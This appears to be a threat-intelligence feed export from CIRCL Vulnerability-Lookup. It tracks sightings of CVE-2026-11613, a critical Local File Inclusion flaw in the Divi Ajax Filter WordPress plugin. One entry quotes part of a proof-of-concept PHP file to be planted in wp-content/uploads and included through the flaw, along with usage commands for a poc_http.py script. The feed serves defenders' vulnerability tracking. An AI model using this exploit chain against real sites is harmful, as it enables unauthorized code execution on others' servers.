https://vulnerability.circl.lu/sightings/feed 2026-09-20T09:57:02.270190+00:00 Vulnerability-Lookup info@circl.lu python-feedgen Contains only the most 10 recent sightings. https://vulnerability.circl.lu/sighting/92f1d4ad-b4af-41be-9cd4-229ea1075e9d/export 2026-09-20T09:57:02.289694+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "92f1d4ad-b4af-41be-9cd4-229ea1075e9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "seen", "source": "https://bsky.app/profile/vulnsea.com/post/3muzh7agepl2u", "content": "\ud83c\udf0a ABYSSAL \u00b7 critical with a public exploit\nCVE-2026-11613: The Divi Ajax Filter plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 5.1.2 via the \u2026\nCVSS 9.8 \u00b7 EPSS 0.5%\nhttps://beta.vulnsea.com/cve/CVE-2026-11613\n\n#CVE #infosec #cybersecurity #threatintel", "creation_timestamp": "2026-09-08T16:33:13.372458Z"} 2026-09-08T16:33:13.372458+00:00 https://vulnerability.circl.lu/sighting/f84e2845-ebb5-4a92-9105-c889858528bd/export 2026-09-20T09:57:02.293071+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "f84e2845-ebb5-4a92-9105-c889858528bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "published-proof-of-concept", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "creation_timestamp": "2026-09-06T00:01:02.799872Z"} 2026-09-06T00:01:02.799872+00:00 https://vulnerability.circl.lu/sighting/32e72ea7-8aab-440c-9ef1-0241e3e37ce8/export 2026-09-20T09:57:02.293214+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "32e72ea7-8aab-440c-9ef1-0241e3e37ce8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "published-proof-of-concept", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-06T00:00:53.717864Z"} 2026-09-06T00:00:53.717864+00:00 https://vulnerability.circl.lu/sighting/0fa99ed7-fb49-4700-a4e9-b5fbcd55ddef/export 2026-09-20T09:57:02.293324+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "0fa99ed7-fb49-4700-a4e9-b5fbcd55ddef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "seen", "source": "Telegram/z32s08izA0c_5nX8KIcxgAI90dxl3nICqf5s2ZsFpU7m2f0", "content": "", "creation_timestamp": "2026-09-05T07:00:03.977344Z"} 2026-09-05T07:00:03.977344+00:00 https://vulnerability.circl.lu/sighting/18beabc8-a89b-447f-9048-20921902f31f/export 2026-09-20T09:57:02.293430+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "18beabc8-a89b-447f-9048-20921902f31f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "seen", "source": "Telegram/MInuNUaZtHgQIkWaDn-XSBNMalOeSi9Asn4ilk4cWhnEcXw", "content": "", "creation_timestamp": "2026-09-05T01:00:05.648439Z"} 2026-09-05T01:00:05.648439+00:00 https://vulnerability.circl.lu/sighting/0d24960d-1fae-4ff3-9f05-81cc57ff07d5/export 2026-09-20T09:57:02.293532+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "0d24960d-1fae-4ff3-9f05-81cc57ff07d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "seen", "source": "https://gist.github.com/shootcannon/aff5610be10c02b40d08619a795d7caf", "content": " code execution path.\n *\n * Usage (your OWN lab / authorized target \u2014 planting requires file access):\n * 1. place this file anywhere web-reachable, e.g.\n * wp-content/uploads/wayang.php (classic upload location)\n * wp-content/plugins/wayang-upload/wayang.php (via plugin upload zip)\n * 2. verify inclusion through the unauthenticated LFI:\n * python poc_http.py --upload-rel \"wp-content/uploads/wayang.php\" --upload-marker WayangXploit-RCE-CONFIRMED\n * or for the uploads dir simply:\n * python poc_http.py --upload-name wayang.php\n *\n * The trailing exit() is required: the Divi-less AJAX handler fatals AFTER the\n * include sink, which would discard this file's output.\n */\nif ( ! headers_sent() ) {\n\theader( 'Content-Type: text/plain' );\n}\necho \"WayangXploit-RCE-CONFIRMED\\n\";\necho 'uid=' . getmyuid() . ' user=' . get_current_user() . \"\\n\";\necho 'uname=' . php_uname() . \"\\n\";\necho 'sapi=' . php_sapi_name() . \"\\n\";\necho 'time=' . gmdate( 'c' ) . \"\\n\";\nexit;\n", "creation_timestamp": "2026-09-04T18:52:28.208208Z"} 2026-09-04T18:52:28.208208+00:00 https://vulnerability.circl.lu/sighting/ab2c8688-5e4a-4a59-8b24-8d3a03e98f5f/export 2026-09-20T09:57:02.293668+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "ab2c8688-5e4a-4a59-8b24-8d3a03e98f5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3muocehnp2s22", "content": "\ud83d\udea8 CVE-2026-11613 \u2014 CVSS 9.8 CRITICAL\n\nThe Divi Ajax Filter plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and ...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-11613\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-09-04T06:07:22.834832Z"} 2026-09-04T06:07:22.834832+00:00 https://vulnerability.circl.lu/sighting/9b67a72b-3262-474d-bdda-a967e7a14a20/export 2026-09-20T09:57:02.293772+00:00 Automation user https://cve.circl.lu/user/automation {"uuid": "9b67a72b-3262-474d-bdda-a967e7a14a20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-11613", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muobfmcjyk2o", "content": "CVE-2026-11613 - divi ajax filter\nThe Divi Ajax Filter add\u2011on for WordPress up to version 5.1.2 can be tricked into loading any server\u2011side script file on your site. An unauthenticated visitor could cause the site\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#diviengine #CVE #infosec", "creation_timestamp": "2026-09-04T05:50:06.814952Z"} 2026-09-04T05:50:06.814952+00:00